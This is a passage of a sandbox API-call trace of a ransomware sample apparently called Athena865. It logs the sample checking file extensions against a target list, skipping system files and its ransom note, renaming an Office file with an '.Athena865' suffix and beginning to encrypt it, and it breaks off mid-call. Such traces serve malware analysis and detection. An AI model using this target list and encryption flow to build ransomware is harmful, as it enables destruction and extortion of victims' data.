lstrlenW (lpString="dbb") returned 3 [0139.636] lstrcmpiW (lpString1="VSL", lpString2="dbb") returned 1 [0139.636] lstrlenW (lpString="vmdk") returned 4 [0139.636] lstrcmpiW (lpString1=".VSL", lpString2="vmdk") returned -1 [0139.636] lstrlenW (lpString="rar") returned 3 [0139.636] lstrcmpiW (lpString1="VSL", lpString2="rar") returned 1 [0139.636] lstrlenW (lpString="zip") returned 3 [0139.636] lstrcmpiW (lpString1="VSL", lpString2="zip") returned -1 [0139.636] lstrlenW (lpString="tgz") returned 3 [0139.636] lstrcmpiW (lpString1="VSL", lpString2="tgz") returned 1 [0139.636] lstrlenW (lpString="vbox") returned 4 [0139.636] lstrcmpiW (lpString1=".VSL", lpString2="vbox") returned -1 [0139.636] lstrlenW (lpString="vdi") returned 3 [0139.636] lstrcmpiW (lpString1="VSL", lpString2="vdi") returned 1 [0139.636] lstrlenW (lpString="vhd") returned 3 [0139.636] lstrcmpiW (lpString1="VSL", lpString2="vhd") returned 1 [0139.636] lstrlenW (lpString="vhdx") returned 4 [0139.636] lstrcmpiW (lpString1=".VSL", lpString2="vhdx") returned -1 [0139.636] lstrlenW (lpString="avhd") returned 4 [0139.636] lstrcmpiW (lpString1=".VSL", lpString2="avhd") returned -1 [0139.636] lstrlenW (lpString="db") returned 2 [0139.636] lstrcmpiW (lpString1="SL", lpString2="db") returned 1 [0139.636] lstrlenW (lpString="db2") returned 3 [0139.637] lstrcmpiW (lpString1="VSL", lpString2="db2") returned 1 [0139.637] lstrlenW (lpString="db3") returned 3 [0139.637] lstrcmpiW (lpString1="VSL", lpString2="db3") returned 1 [0139.637] lstrlenW (lpString="dbf") returned 3 [0139.637] lstrcmpiW (lpString1="VSL", lpString2="dbf") returned 1 [0139.637] lstrlenW (lpString="mdf") returned 3 [0139.637] lstrcmpiW (lpString1="VSL", lpString2="mdf") returned 1 [0139.637] lstrlenW (lpString="mdb") returned 3 [0139.637] lstrcmpiW (lpString1="VSL", lpString2="mdb") returned 1 [0139.637] lstrlenW (lpString="sql") returned 3 [0139.637] lstrcmpiW (lpString1="VSL", lpString2="sql") returned 1 [0139.637] lstrlenW (lpString="sqlite") returned 6 [0139.637] lstrcmpiW (lpString1="RM.VSL", lpString2="sqlite") returned -1 [0139.637] lstrlenW (lpString="sqlite3") returned 7 [0139.637] lstrcmpiW (lpString1="ORM.VSL", lpString2="sqlite3") returned -1 [0139.637] lstrlenW (lpString="sqlitedb") returned 8 [0139.637] lstrcmpiW (lpString1="TORM.VSL", lpString2="sqlitedb") returned 1 [0139.637] lstrlenW (lpString="xml") returned 3 [0139.637] lstrcmpiW (lpString1="VSL", lpString2="xml") returned -1 [0139.637] lstrlenW (lpString="$er") returned 3 [0139.637] lstrcmpiW (lpString1="VSL", lpString2="$er") returned 1 [0139.637] lstrlenW (lpString="4dd") returned 3 [0139.637] lstrcmpiW (lpString1="VSL", lpString2="4dd") returned 1 [0139.637] lstrlenW (lpString="4dl") returned 3 [0139.637] lstrcmpiW (lpString1="VSL", lpString2="4dl") returned 1 [0139.637] lstrlenW (lpString="^^^") returned 3 [0139.637] lstrcmpiW (lpString1="VSL", lpString2="^^^") returned 1 [0139.637] lstrlenW (lpString="abs") returned 3 [0139.637] lstrcmpiW (lpString1="VSL", lpString2="abs") returned 1 [0139.637] lstrlenW (lpString="abx") returned 3 [0139.638] lstrcmpiW (lpString1="VSL", lpString2="abx") returned 1 [0139.638] lstrlenW (lpString="accdb") returned 5 [0139.638] lstrcmpiW (lpString1="M.VSL", lpString2="accdb") returned 1 [0139.638] lstrlenW (lpString="accdc") returned 5 [0139.638] lstrcmpiW (lpString1="M.VSL", lpString2="accdc") returned 1 [0139.638] lstrlenW (lpString="accde") returned 5 [0139.638] lstrcmpiW (lpString1="M.VSL", lpString2="accde") returned 1 [0139.638] lstrlenW (lpString="accdr") returned 5 [0139.638] lstrcmpiW (lpString1="M.VSL", lpString2="accdr") returned 1 [0139.638] lstrlenW (lpString="accdt") returned 5 [0139.638] lstrcmpiW (lpString1="M.VSL", lpString2="accdt") returned 1 [0139.638] lstrlenW (lpString="accdw") returned 5 [0139.638] lstrcmpiW (lpString1="M.VSL", lpString2="accdw") returned 1 [0139.638] lstrlenW (lpString="accft") returned 5 [0139.638] lstrcmpiW (lpString1="M.VSL", lpString2="accft") returned 1 [0139.638] lstrlenW (lpString="adb") returned 3 [0139.638] lstrcmpiW (lpString1="VSL", lpString2="adb") returned 1 [0139.638] lstrlenW (lpString="adb") returned 3 [0139.638] lstrcmpiW (lpString1="VSL", lpString2="adb") returned 1 [0139.638] lstrlenW (lpString="ade") returned 3 [0139.638] lstrcmpiW (lpString1="VSL", lpString2="ade") returned 1 [0139.638] lstrlenW (lpString="adf") returned 3 [0139.638] lstrcmpiW (lpString1="VSL", lpString2="adf") returned 1 [0139.638] lstrlenW (lpString="adn") returned 3 [0139.638] lstrcmpiW (lpString1="VSL", lpString2="adn") returned 1 [0139.638] lstrlenW (lpString="adp") returned 3 [0139.638] lstrcmpiW (lpString1="VSL", lpString2="adp") returned 1 [0139.638] lstrlenW (lpString="alf") returned 3 [0139.638] lstrcmpiW (lpString1="VSL", lpString2="alf") returned 1 [0139.639] lstrlenW (lpString="ask") returned 3 [0139.639] lstrcmpiW (lpString1="VSL", lpString2="ask") returned 1 [0139.639] lstrlenW (lpString="btr") returned 3 [0139.639] lstrcmpiW (lpString1="VSL", lpString2="btr") returned 1 [0139.639] lstrlenW (lpString="cat") returned 3 [0139.639] lstrcmpiW (lpString1="VSL", lpString2="cat") returned 1 [0139.639] lstrlenW (lpString="cdb") returned 3 [0139.639] lstrcmpiW (lpString1="VSL", lpString2="cdb") returned 1 [0139.639] lstrlenW (lpString="ckp") returned 3 [0139.639] lstrcmpiW (lpString1="VSL", lpString2="ckp") returned 1 [0139.639] lstrlenW (lpString="cma") returned 3 [0139.639] lstrcmpiW (lpString1="VSL", lpString2="cma") returned 1 [0139.639] lstrlenW (lpString="cpd") returned 3 [0139.639] lstrcmpiW (lpString1="VSL", lpString2="cpd") returned 1 [0139.639] lstrlenW (lpString="dacpac") returned 6 [0139.639] lstrcmpiW (lpString1="RM.VSL", lpString2="dacpac") returned 1 [0139.639] lstrlenW (lpString="dad") returned 3 [0139.639] lstrcmpiW (lpString1="VSL", lpString2="dad") returned 1 [0139.639] lstrlenW (lpString="dadiagrams") returned 10 [0139.639] lstrlenW (lpString="daschema") returned 8 [0139.639] lstrcmpiW (lpString1="TORM.VSL", lpString2="daschema") returned 1 [0139.639] lstrlenW (lpString="db-journal") returned 10 [0139.639] lstrlenW (lpString="db-shm") returned 6 [0139.639] lstrcmpiW (lpString1="RM.VSL", lpString2="db-shm") returned 1 [0139.639] lstrlenW (lpString="db-wal") returned 6 [0139.639] lstrcmpiW (lpString1="RM.VSL", lpString2="db-wal") returned 1 [0139.639] lstrlenW (lpString="dbc") returned 3 [0139.639] lstrcmpiW (lpString1="VSL", lpString2="dbc") returned 1 [0139.639] lstrlenW (lpString="dbs") returned 3 [0139.640] lstrcmpiW (lpString1="VSL", lpString2="dbs") returned 1 [0139.640] lstrlenW (lpString="dbt") returned 3 [0139.640] lstrcmpiW (lpString1="VSL", lpString2="dbt") returned 1 [0139.640] lstrlenW (lpString="dbv") returned 3 [0139.640] lstrcmpiW (lpString1="VSL", lpString2="dbv") returned 1 [0139.640] lstrlenW (lpString="dbx") returned 3 [0139.640] lstrcmpiW (lpString1="VSL", lpString2="dbx") returned 1 [0139.640] lstrlenW (lpString="dcb") returned 3 [0139.640] lstrcmpiW (lpString1="VSL", lpString2="dcb") returned 1 [0139.640] lstrlenW (lpString="dct") returned 3 [0139.640] lstrcmpiW (lpString1="VSL", lpString2="dct") returned 1 [0139.640] lstrlenW (lpString="dcx") returned 3 [0139.640] lstrcmpiW (lpString1="VSL", lpString2="dcx") returned 1 [0139.640] lstrlenW (lpString="ddl") returned 3 [0139.640] lstrcmpiW (lpString1="VSL", lpString2="ddl") returned 1 [0139.640] lstrlenW (lpString="dlis") returned 4 [0139.640] lstrcmpiW (lpString1=".VSL", lpString2="dlis") returned -1 [0139.640] lstrlenW (lpString="dp1") returned 3 [0139.640] lstrcmpiW (lpString1="VSL", lpString2="dp1") returned 1 [0139.640] lstrlenW (lpString="dqy") returned 3 [0139.640] lstrcmpiW (lpString1="VSL", lpString2="dqy") returned 1 [0139.640] lstrlenW (lpString="dsk") returned 3 [0139.640] lstrcmpiW (lpString1="VSL", lpString2="dsk") returned 1 [0139.640] lstrlenW (lpString="dsn") returned 3 [0139.640] lstrcmpiW (lpString1="VSL", lpString2="dsn") returned 1 [0139.640] lstrlenW (lpString="dtsx") returned 4 [0139.640] lstrcmpiW (lpString1=".VSL", lpString2="dtsx") returned -1 [0139.640] lstrlenW (lpString="dxl") returned 3 [0139.640] lstrcmpiW (lpString1="VSL", lpString2="dxl") returned 1 [0139.641] lstrlenW (lpString="eco") returned 3 [0139.641] lstrcmpiW (lpString1="VSL", lpString2="eco") returned 1 [0139.641] lstrlenW (lpString="ecx") returned 3 [0139.641] lstrcmpiW (lpString1="VSL", lpString2="ecx") returned 1 [0139.641] lstrlenW (lpString="edb") returned 3 [0139.641] lstrcmpiW (lpString1="VSL", lpString2="edb") returned 1 [0139.641] lstrlenW (lpString="epim") returned 4 [0139.641] lstrcmpiW (lpString1=".VSL", lpString2="epim") returned -1 [0139.641] lstrlenW (lpString="fcd") returned 3 [0139.641] lstrcmpiW (lpString1="VSL", lpString2="fcd") returned 1 [0139.641] lstrlenW (lpString="fdb") returned 3 [0139.641] lstrcmpiW (lpString1="VSL", lpString2="fdb") returned 1 [0139.641] lstrlenW (lpString="fic") returned 3 [0139.641] lstrcmpiW (lpString1="VSL", lpString2="fic") returned 1 [0139.641] lstrlenW (lpString="flexolibrary") returned 12 [0139.641] lstrlenW (lpString="fm5") returned 3 [0139.641] lstrcmpiW (lpString1="VSL", lpString2="fm5") returned 1 [0139.641] lstrlenW (lpString="fmp") returned 3 [0139.641] lstrcmpiW (lpString1="VSL", lpString2="fmp") returned 1 [0139.641] lstrlenW (lpString="fmp12") returned 5 [0139.641] lstrcmpiW (lpString1="M.VSL", lpString2="fmp12") returned 1 [0139.641] lstrlenW (lpString="fmpsl") returned 5 [0139.641] lstrcmpiW (lpString1="M.VSL", lpString2="fmpsl") returned 1 [0139.641] lstrlenW (lpString="fol") returned 3 [0139.641] lstrcmpiW (lpString1="VSL", lpString2="fol") returned 1 [0139.641] lstrlenW (lpString="fp3") returned 3 [0139.641] lstrcmpiW (lpString1="VSL", lpString2="fp3") returned 1 [0139.641] lstrlenW (lpString="fp4") returned 3 [0139.641] lstrcmpiW (lpString1="VSL", lpString2="fp4") returned 1 [0139.642] lstrlenW (lpString="fp5") returned 3 [0139.642] lstrcmpiW (lpString1="VSL", lpString2="fp5") returned 1 [0139.642] lstrlenW (lpString="fp7") returned 3 [0139.642] lstrcmpiW (lpString1="VSL", lpString2="fp7") returned 1 [0139.642] lstrlenW (lpString="fpt") returned 3 [0139.642] lstrcmpiW (lpString1="VSL", lpString2="fpt") returned 1 [0139.642] lstrlenW (lpString="frm") returned 3 [0139.642] lstrcmpiW (lpString1="VSL", lpString2="frm") returned 1 [0139.642] lstrlenW (lpString="gdb") returned 3 [0139.642] lstrcmpiW (lpString1="VSL", lpString2="gdb") returned 1 [0139.642] lstrlenW (lpString="gdb") returned 3 [0139.642] lstrcmpiW (lpString1="VSL", lpString2="gdb") returned 1 [0139.642] lstrlenW (lpString="grdb") returned 4 [0139.642] lstrcmpiW (lpString1=".VSL", lpString2="grdb") returned -1 [0139.642] lstrlenW (lpString="gwi") returned 3 [0139.642] lstrcmpiW (lpString1="VSL", lpString2="gwi") returned 1 [0139.642] lstrlenW (lpString="hdb") returned 3 [0139.642] lstrcmpiW (lpString1="VSL", lpString2="hdb") returned 1 [0139.642] lstrlenW (lpString="his") returned 3 [0139.642] lstrcmpiW (lpString1="VSL", lpString2="his") returned 1 [0139.642] lstrlenW (lpString="ib") returned 2 [0139.642] lstrcmpiW (lpString1="SL", lpString2="ib") returned 1 [0139.642] lstrlenW (lpString="idb") returned 3 [0139.642] lstrcmpiW (lpString1="VSL", lpString2="idb") returned 1 [0139.642] lstrlenW (lpString="ihx") returned 3 [0139.642] lstrcmpiW (lpString1="VSL", lpString2="ihx") returned 1 [0139.642] lstrlenW (lpString="itdb") returned 4 [0139.642] lstrcmpiW (lpString1=".VSL", lpString2="itdb") returned -1 [0139.642] lstrlenW (lpString="itw") returned 3 [0139.643] lstrcmpiW (lpString1="VSL", lpString2="itw") returned 1 [0139.643] lstrlenW (lpString="jet") returned 3 [0139.643] lstrcmpiW (lpString1="VSL", lpString2="jet") returned 1 [0139.643] lstrlenW (lpString="jtx") returned 3 [0139.643] lstrcmpiW (lpString1="VSL", lpString2="jtx") returned 1 [0139.643] lstrlenW (lpString="kdb") returned 3 [0139.643] lstrcmpiW (lpString1="VSL", lpString2="kdb") returned 1 [0139.643] lstrlenW (lpString="kexi") returned 4 [0139.643] lstrcmpiW (lpString1=".VSL", lpString2="kexi") returned -1 [0139.643] lstrlenW (lpString="kexic") returned 5 [0139.643] lstrcmpiW (lpString1="M.VSL", lpString2="kexic") returned 1 [0139.643] lstrlenW (lpString="kexis") returned 5 [0139.643] lstrcmpiW (lpString1="M.VSL", lpString2="kexis") returned 1 [0139.643] lstrlenW (lpString="lgc") returned 3 [0139.643] lstrcmpiW (lpString1="VSL", lpString2="lgc") returned 1 [0139.643] lstrlenW (lpString="lwx") returned 3 [0139.643] lstrcmpiW (lpString1="VSL", lpString2="lwx") returned 1 [0139.643] lstrlenW (lpString="maf") returned 3 [0139.643] lstrcmpiW (lpString1="VSL", lpString2="maf") returned 1 [0139.643] lstrlenW (lpString="maq") returned 3 [0139.643] lstrcmpiW (lpString1="VSL", lpString2="maq") returned 1 [0139.643] lstrlenW (lpString="mar") returned 3 [0139.643] lstrcmpiW (lpString1="VSL", lpString2="mar") returned 1 [0139.643] lstrlenW (lpString="marshal") returned 7 [0139.643] lstrcmpiW (lpString1="ORM.VSL", lpString2="marshal") returned 1 [0139.643] lstrlenW (lpString="mas") returned 3 [0139.643] lstrcmpiW (lpString1="VSL", lpString2="mas") returned 1 [0139.643] lstrlenW (lpString="mav") returned 3 [0139.643] lstrcmpiW (lpString1="VSL", lpString2="mav") returned 1 [0139.644] lstrlenW (lpString="maw") returned 3 [0139.644] lstrcmpiW (lpString1="VSL", lpString2="maw") returned 1 [0139.644] lstrlenW (lpString="mdbhtml") returned 7 [0139.644] lstrcmpiW (lpString1="ORM.VSL", lpString2="mdbhtml") returned 1 [0139.644] lstrlenW (lpString="mdn") returned 3 [0139.644] lstrcmpiW (lpString1="VSL", lpString2="mdn") returned 1 [0139.644] lstrlenW (lpString="mdt") returned 3 [0139.644] lstrcmpiW (lpString1="VSL", lpString2="mdt") returned 1 [0139.644] lstrlenW (lpString="mfd") returned 3 [0139.644] lstrcmpiW (lpString1="VSL", lpString2="mfd") returned 1 [0139.644] lstrlenW (lpString="mpd") returned 3 [0139.644] lstrcmpiW (lpString1="VSL", lpString2="mpd") returned 1 [0139.644] lstrlenW (lpString="mrg") returned 3 [0139.644] lstrcmpiW (lpString1="VSL", lpString2="mrg") returned 1 [0139.644] lstrlenW (lpString="mud") returned 3 [0139.644] lstrcmpiW (lpString1="VSL", lpString2="mud") returned 1 [0139.644] lstrlenW (lpString="mwb") returned 3 [0139.644] lstrcmpiW (lpString1="VSL", lpString2="mwb") returned 1 [0139.644] lstrlenW (lpString="myd") returned 3 [0139.644] lstrcmpiW (lpString1="VSL", lpString2="myd") returned 1 [0139.644] lstrlenW (lpString="ndf") returned 3 [0139.644] lstrcmpiW (lpString1="VSL", lpString2="ndf") returned 1 [0139.644] lstrlenW (lpString="nnt") returned 3 [0139.644] lstrcmpiW (lpString1="VSL", lpString2="nnt") returned 1 [0139.644] lstrlenW (lpString="nrmlib") returned 6 [0139.644] lstrcmpiW (lpString1="RM.VSL", lpString2="nrmlib") returned 1 [0139.644] lstrlenW (lpString="ns2") returned 3 [0139.644] lstrcmpiW (lpString1="VSL", lpString2="ns2") returned 1 [0139.644] lstrlenW (lpString="ns3") returned 3 [0139.645] lstrcmpiW (lpString1="VSL", lpString2="ns3") returned 1 [0139.645] lstrlenW (lpString="ns4") returned 3 [0139.645] lstrcmpiW (lpString1="VSL", lpString2="ns4") returned 1 [0139.645] lstrlenW (lpString="nsf") returned 3 [0139.645] lstrcmpiW (lpString1="VSL", lpString2="nsf") returned 1 [0139.645] lstrlenW (lpString="nv") returned 2 [0139.645] lstrcmpiW (lpString1="SL", lpString2="nv") returned 1 [0139.645] lstrlenW (lpString="nv2") returned 3 [0139.645] lstrcmpiW (lpString1="VSL", lpString2="nv2") returned 1 [0139.645] lstrlenW (lpString="nwdb") returned 4 [0139.645] lstrcmpiW (lpString1=".VSL", lpString2="nwdb") returned -1 [0139.645] lstrlenW (lpString="nyf") returned 3 [0139.645] lstrcmpiW (lpString1="VSL", lpString2="nyf") returned 1 [0139.645] lstrlenW (lpString="odb") returned 3 [0139.645] lstrcmpiW (lpString1="VSL", lpString2="odb") returned 1 [0139.645] lstrlenW (lpString="odb") returned 3 [0139.645] lstrcmpiW (lpString1="VSL", lpString2="odb") returned 1 [0139.645] lstrlenW (lpString="oqy") returned 3 [0139.645] lstrcmpiW (lpString1="VSL", lpString2="oqy") returned 1 [0139.645] lstrlenW (lpString="ora") returned 3 [0139.645] lstrcmpiW (lpString1="VSL", lpString2="ora") returned 1 [0139.645] lstrlenW (lpString="orx") returned 3 [0139.645] lstrcmpiW (lpString1="VSL", lpString2="orx") returned 1 [0139.645] lstrlenW (lpString="owc") returned 3 [0139.645] lstrcmpiW (lpString1="VSL", lpString2="owc") returned 1 [0139.645] lstrlenW (lpString="p96") returned 3 [0139.645] lstrcmpiW (lpString1="VSL", lpString2="p96") returned 1 [0139.645] lstrlenW (lpString="p97") returned 3 [0139.645] lstrcmpiW (lpString1="VSL", lpString2="p97") returned 1 [0139.646] lstrlenW (lpString="pan") returned 3 [0139.646] lstrcmpiW (lpString1="VSL", lpString2="pan") returned 1 [0139.646] lstrlenW (lpString="pdb") returned 3 [0139.646] lstrcmpiW (lpString1="VSL", lpString2="pdb") returned 1 [0139.646] lstrlenW (lpString="pdm") returned 3 [0139.646] lstrcmpiW (lpString1="VSL", lpString2="pdm") returned 1 [0139.646] lstrlenW (lpString="pnz") returned 3 [0139.646] lstrcmpiW (lpString1="VSL", lpString2="pnz") returned 1 [0139.646] lstrlenW (lpString="qry") returned 3 [0139.646] lstrcmpiW (lpString1="VSL", lpString2="qry") returned 1 [0139.646] lstrlenW (lpString="qvd") returned 3 [0139.646] lstrcmpiW (lpString1="VSL", lpString2="qvd") returned 1 [0139.646] lstrlenW (lpString="rbf") returned 3 [0139.646] lstrcmpiW (lpString1="VSL", lpString2="rbf") returned 1 [0139.646] lstrlenW (lpString="rctd") returned 4 [0139.646] lstrcmpiW (lpString1=".VSL", lpString2="rctd") returned -1 [0139.646] lstrlenW (lpString="rod") returned 3 [0139.646] lstrcmpiW (lpString1="VSL", lpString2="rod") returned 1 [0139.646] lstrlenW (lpString="rodx") returned 4 [0139.646] lstrcmpiW (lpString1=".VSL", lpString2="rodx") returned -1 [0139.646] lstrlenW (lpString="rpd") returned 3 [0139.646] lstrcmpiW (lpString1="VSL", lpString2="rpd") returned 1 [0139.646] lstrlenW (lpString="rsd") returned 3 [0139.646] lstrcmpiW (lpString1="VSL", lpString2="rsd") returned 1 [0139.646] lstrlenW (lpString="sas7bdat") returned 8 [0139.646] lstrcmpiW (lpString1="TORM.VSL", lpString2="sas7bdat") returned 1 [0139.646] lstrlenW (lpString="sbf") returned 3 [0139.646] lstrcmpiW (lpString1="VSL", lpString2="sbf") returned 1 [0139.646] lstrlenW (lpString="scx") returned 3 [0139.647] lstrcmpiW (lpString1="VSL", lpString2="scx") returned 1 [0139.647] lstrlenW (lpString="sdb") returned 3 [0139.647] lstrcmpiW (lpString1="VSL", lpString2="sdb") returned 1 [0139.647] lstrlenW (lpString="sdc") returned 3 [0139.647] lstrcmpiW (lpString1="VSL", lpString2="sdc") returned 1 [0139.647] lstrlenW (lpString="sdf") returned 3 [0139.647] lstrcmpiW (lpString1="VSL", lpString2="sdf") returned 1 [0139.647] lstrlenW (lpString="sis") returned 3 [0139.647] lstrcmpiW (lpString1="VSL", lpString2="sis") returned 1 [0139.647] lstrlenW (lpString="spq") returned 3 [0139.647] lstrcmpiW (lpString1="VSL", lpString2="spq") returned 1 [0139.647] lstrlenW (lpString="te") returned 2 [0139.647] lstrcmpiW (lpString1="SL", lpString2="te") returned -1 [0139.647] lstrlenW (lpString="teacher") returned 7 [0139.647] lstrcmpiW (lpString1="ORM.VSL", lpString2="teacher") returned -1 [0139.647] lstrlenW (lpString="tmd") returned 3 [0139.647] lstrcmpiW (lpString1="VSL", lpString2="tmd") returned 1 [0139.647] lstrlenW (lpString="tps") returned 3 [0139.647] lstrcmpiW (lpString1="VSL", lpString2="tps") returned 1 [0139.647] lstrlenW (lpString="trc") returned 3 [0139.647] lstrcmpiW (lpString1="VSL", lpString2="trc") returned 1 [0139.647] lstrlenW (lpString="trc") returned 3 [0139.647] lstrcmpiW (lpString1="VSL", lpString2="trc") returned 1 [0139.647] lstrlenW (lpString="trm") returned 3 [0139.647] lstrcmpiW (lpString1="VSL", lpString2="trm") returned 1 [0139.647] lstrlenW (lpString="udb") returned 3 [0139.647] lstrcmpiW (lpString1="VSL", lpString2="udb") returned 1 [0139.647] lstrlenW (lpString="udl") returned 3 [0139.647] lstrcmpiW (lpString1="VSL", lpString2="udl") returned 1 [0139.648] lstrlenW (lpString="usr") returned 3 [0139.648] lstrcmpiW (lpString1="VSL", lpString2="usr") returned 1 [0139.648] lstrlenW (lpString="v12") returned 3 [0139.648] lstrcmpiW (lpString1="VSL", lpString2="v12") returned 1 [0139.648] lstrlenW (lpString="vis") returned 3 [0139.648] lstrcmpiW (lpString1="VSL", lpString2="vis") returned 1 [0139.648] lstrlenW (lpString="vpd") returned 3 [0139.648] lstrcmpiW (lpString1="VSL", lpString2="vpd") returned 1 [0139.648] lstrlenW (lpString="vvv") returned 3 [0139.648] lstrcmpiW (lpString1="VSL", lpString2="vvv") returned -1 [0139.648] lstrlenW (lpString="wdb") returned 3 [0139.648] lstrcmpiW (lpString1="VSL", lpString2="wdb") returned -1 [0139.648] lstrlenW (lpString="wmdb") returned 4 [0139.648] lstrcmpiW (lpString1=".VSL", lpString2="wmdb") returned -1 [0139.648] lstrlenW (lpString="wrk") returned 3 [0139.648] lstrcmpiW (lpString1="VSL", lpString2="wrk") returned -1 [0139.648] lstrlenW (lpString="xdb") returned 3 [0139.648] lstrcmpiW (lpString1="VSL", lpString2="xdb") returned -1 [0139.648] lstrlenW (lpString="xld") returned 3 [0139.648] lstrcmpiW (lpString1="VSL", lpString2="xld") returned -1 [0139.648] lstrlenW (lpString="xmlff") returned 5 [0139.648] lstrcmpiW (lpString1="M.VSL", lpString2="xmlff") returned -1 [0139.648] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL.Athena865") returned 68 [0139.648] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl.athena865"), dwFlags=0x1) returned 1 [0139.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0139.651] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=45968) returned 1 [0139.651] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.651] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0139.651] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ed48 [0139.651] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54edd0) returned 1 [0139.652] CryptGenRandom (in: hProv=0x54edd0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.652] CryptReleaseContext (hProv=0x54edd0, dwFlags=0x0) returned 1 [0139.652] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb690, lpName=0x0) returned 0x17c [0139.653] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb690) returned 0x100000 [0139.656] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54edd0) returned 1 [0139.657] CryptGenRandom (in: hProv=0x54edd0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.657] CryptReleaseContext (hProv=0x54edd0, dwFlags=0x0) returned 1 [0139.657] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0139.657] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0139.657] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.657] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.657] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.657] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.657] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.657] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.657] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.657] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.657] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0139.658] CloseHandle (hObject=0x17c) returned 1 [0139.658] CloseHandle (hObject=0x154) returned 1 [0139.658] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0139.658] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ed48 | out: hHeap=0x4f0000) returned 1 [0139.658] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.658] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d7e200, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x506a3720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe4d7e200, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BW.CSS", cAlternateFileName="")) returned 1 [0139.658] lstrcmpiW (lpString1="BW.CSS", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0139.658] lstrcmpiW (lpString1="BW.CSS", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0139.658] lstrcmpiW (lpString1="BW.CSS", lpString2=".") returned 1 [0139.659] lstrcmpiW (lpString1="BW.CSS", lpString2="..") returned 1 [0139.659] lstrcmpiW (lpString1="BW.CSS", lpString2="windows") returned -1 [0139.659] lstrcmpiW (lpString1="BW.CSS", lpString2="bootmgr") returned 1 [0139.659] lstrcmpiW (lpString1="BW.CSS", lpString2="temp") returned -1 [0139.659] lstrcmpiW (lpString1="BW.CSS", lpString2="pagefile.sys") returned -1 [0139.659] lstrcmpiW (lpString1="BW.CSS", lpString2="boot") returned 1 [0139.659] lstrcmpiW (lpString1="BW.CSS", lpString2="ids.txt") returned -1 [0139.659] lstrcmpiW (lpString1="BW.CSS", lpString2="ntuser.dat") returned -1 [0139.659] lstrcmpiW (lpString1="BW.CSS", lpString2="perflogs") returned -1 [0139.659] lstrcmpiW (lpString1="BW.CSS", lpString2="MSBuild") returned -1 [0139.659] lstrlenW (lpString="BW.CSS") returned 6 [0139.659] lstrcpyW (in: lpString1=0x241e8a8, lpString2="BW.CSS" | out: lpString1="BW.CSS") returned="BW.CSS" [0139.659] lstrlenW (lpString="BW.CSS") returned 6 [0139.659] lstrlenW (lpString="Athena865") returned 9 [0139.659] lstrlenW (lpString=".dll") returned 4 [0139.659] lstrcmpiW 